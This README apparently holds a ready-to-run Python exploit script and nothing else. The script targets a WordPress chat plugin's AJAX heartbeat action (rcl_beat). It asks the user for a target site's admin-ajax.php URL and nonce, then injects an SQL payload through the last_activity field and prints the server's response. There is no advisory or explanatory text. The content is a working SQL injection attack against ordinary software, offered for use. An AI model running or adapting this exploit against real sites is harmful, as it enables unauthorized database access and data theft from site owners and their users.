README.md
Rendering markdown...
import requests
import json
from urllib.parse import quote
def encode_databeat_payload(last_activity_payload, token="bXktY2hhdA=="):
data_structure = [{
"action": "rcl_chat_get_new_messages",
"success": "rcl_chat_beat_success",
"data": {
"last_activity": last_activity_payload,
"token": token,
"update_activity": 1,
"user_write": 0
},
"beat_name": "rcl_chat_beat_core"
}]
return quote(json.dumps(data_structure))
def send_payload(url, ajax_nonce, last_activity_payload):
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
databeat = encode_databeat_payload(last_activity_payload)
post_data = f"action=rcl_beat&databeat={databeat}&ajax_nonce={ajax_nonce}"
response = requests.post(url, headers=headers, data=post_data)
return response
def main():
target_url = input("Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): ").strip()
ajax_nonce = input("Enter ajax_nonce value: ").strip()
payload = "'; SELECT user(); --"
print(f"\n[*] Sending payload: {payload}\n")
response = send_payload(target_url, ajax_nonce, payload)
if response.ok:
print("[+] Response received:")
print(response.text)
else:
print("[-] Request failed with status code:", response.status_code)
if __name__ == "__main__":
main()